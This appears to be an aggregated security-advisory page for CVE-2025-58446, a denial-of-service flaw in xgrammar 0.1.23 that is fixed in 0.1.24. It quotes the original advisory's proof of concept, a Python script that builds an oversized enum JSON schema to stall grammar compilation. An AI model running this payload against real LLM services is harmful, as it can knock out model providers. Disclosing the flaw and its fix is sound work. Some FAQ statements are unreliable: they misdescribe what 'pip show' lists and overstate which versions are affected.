CVE-2025-58446: Xgrammar Denial of Service Vulnerability

Q: What is CVE-2025-58446?

CVE-2025-58446 is a security vulnerability in Xgrammar involving xgrammar vulnerable to denial of service by huge enum grammar under CWE-770: Allocation of Resources Without Limits or Throttling.

Q: Which Xgrammar versions are affected?

Affected versions include releases prior to 0.1.24 across affected packages: xgrammar.

Q: What version fixes CVE-2025-58446?

Upgrading to 0.1.24 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is xgrammar affected?

Yes, xgrammar is affected in releases prior to 0.1.24. Upgrade your dependency to 0.1.24 or later.

Q: What CWE is associated with CVE-2025-58446?

CVE-2025-58446 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).

Q: How can I check PyPI dependencies for CVE-2025-58446?

Run the dependency tree command: 'pip show xgrammar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

MODERATE

Advisory Identifier: GHSA-9q5r-wfvf-rr7f

CWE-770

Published 2025-09-05

Advisory Summary

CVE-2025-58446 is a MODERATE denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Xgrammar libraries in the PyPI ecosystem. The issue involves xgrammar vulnerable to denial of service by huge enum grammar. Remediation is available by upgrading affected packages to version 0.1.24.

CVE-2025-58446 at a Glance

CVE Identifier CVE-2025-58446

GHSA Identifier GHSA-9q5r-wfvf-rr7f

Severity MODERATE

CVSS v3.1 Base Score N/A

CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling

Affected Product Xgrammar

Package Ecosystem PyPI

Published Date 2025-09-05

Last Updated 2025-09-10

How to Fix CVE-2025-58446

To remediate this vulnerability, upgrade all affected Xgrammar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

xgrammar fixed: 0.1.24

pip install xgrammar>=0.1.24

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show xgrammar

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-58446, inspect your installed packages using pip:

pip show xgrammar

Analyze the terminal output to locate any version of Xgrammar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.24), your application is affected.

Note: The pip show xgrammar command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Xgrammar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser. ### Details Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers. ### Patch This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. Thanks to @Seven-Streams ### PoC ``` import string import random def enum_schema(size=10000,str_len=10): enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]} schema = { "definitions": { "colorEnum": enum }, "type": "object", "properties": { "color1": { "$ref": "#/definitions/colorEnum" }, "color2": { "$ref": "#/definitions/colorEnum" }, "color3": { "$ref": "#/definitions/colorEnum" }, "color4": { "$ref": "#/definitions/colorEnum" }, "color5": { "$ref": "#/definitions/colorEnum" }, "color6": { "$ref": "#/definitions/colorEnum" }, "color7": { "$ref": "#/definitions/colorEnum" }, "color8": { "$ref": "#/definitions/colorEnum" } }, "required": [ "color1", "color2" ] } return schema schema_enum = enum_schema() print(schema_enum) print(test_schema(schema_enum, {})) ``` where: ``` def test_schema(schema, instance): grammar = xgr.Grammar.from_json_schema( json.dumps(schema), strict_mode=True ) return _is_grammar_accept_string(grammar, json.dumps(instance)) ``` ### Impact DOS

CVE-2025-58446 Affected Xgrammar Versions

1 component(s)

Fixed Versions:

0.1.24

Product / Package	Ecosystem	Affected Versions	Fixed Version
xgrammar pypi/xgrammar	PyPI	≥ 0.1.23 < 0.1.24 All 1 versions 0.1.23	0.1.24

References

GitHub Advisory / Wiki ADVISORY

https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f

NVD — CVE-2025-58446 NVD

https://nvd.nist.gov/vuln/detail/CVE-2025-58446

Security Fix Commit FIX COMMIT

https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27

Xgrammar Source Repository REPOSITORY

https://github.com/mlc-ai/xgrammar

Frequently Asked Questions

What is CVE-2025-58446?

CVE-2025-58446 is a security vulnerability in Xgrammar involving xgrammar vulnerable to denial of service by huge enum grammar under CWE-770: Allocation of Resources Without Limits or Throttling.

Which Xgrammar versions are affected?

Affected versions include releases prior to 0.1.24 across affected packages: xgrammar.

What version fixes CVE-2025-58446?

Upgrading to 0.1.24 (or the latest patched release for your respective branch) resolves the vulnerability.

Is xgrammar affected?

Yes, xgrammar is affected in releases prior to 0.1.24. Upgrade your dependency to 0.1.24 or later.

What CWE is associated with CVE-2025-58446?

CVE-2025-58446 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).

How can I check PyPI dependencies for CVE-2025-58446?

Run the dependency tree command: 'pip show xgrammar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9q5r-wfvf-rr7f",
  "modified" : "2025-09-10T20:51:27Z",
  "published" : "2025-09-05T21:10:06Z",
  "aliases" : [ "CVE-2025-58446" ],
  "summary" : "xgrammar vulnerable to denial of service by huge enum grammar",
  "details" : "### Summary\nProvided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.\n\n### Details\n\nFull reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.\n\n### Patch\n\nThis problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. \n\nThanks to @Seven-Streams \n\n### PoC\n```\nimport string\nimport random\n\ndef enum_schema(size=10000,str_len=10):\n    enum =  {\"enum\": [\"\".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}\n    schema = {\n        \"definitions\": {\n            \"colorEnum\": enum\n        },\n        \"type\": \"object\",\n        \"properties\": {\n            \"color1\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color2\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color3\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color4\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color5\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color6\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color7\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            },\n            \"color8\": {\n                \"$ref\": \"#/definitions/colorEnum\"\n            }\n        },\n        \"required\": [\n                \"color1\",\n                \"color2\"\n         ]\n    }\n    return schema\n\nschema_enum = enum_schema()\nprint(schema_enum)\nprint(test_schema(schema_enum, {}))\n```\n\nwhere:\n```\ndef test_schema(schema, instance):\n    grammar = xgr.Grammar.from_json_schema(\n        json.dumps(schema),\n        strict_mode=True\n    )\n    return _is_grammar_accept_string(grammar, json.dumps(instance))\n```\n\n### Impact\nDOS",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "xgrammar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.1.23"
      }, {
        "fixed" : "0.1.24"
      } ]
    } ],
    "versions" : [ "0.1.23" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58446"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mlc-ai/xgrammar"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-05T21:10:06Z",
    "nvd_published_at" : "2025-09-06T19:15:38Z"
  }
}

CVSS V4

N/A MODERATE

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Advisory Metadata

Source ID: GHSA-9q5r-wfvf-rr7f
Schema Version: 1.4.0
Published: 2025-09-05 21:10
Last Modified: 2025-09-10 20:51
Database Record File: advisories/github-reviewed/2025/09/GHSA-9q5r-wfvf-rr7f/GHSA-9q5r-wfvf-rr7f.json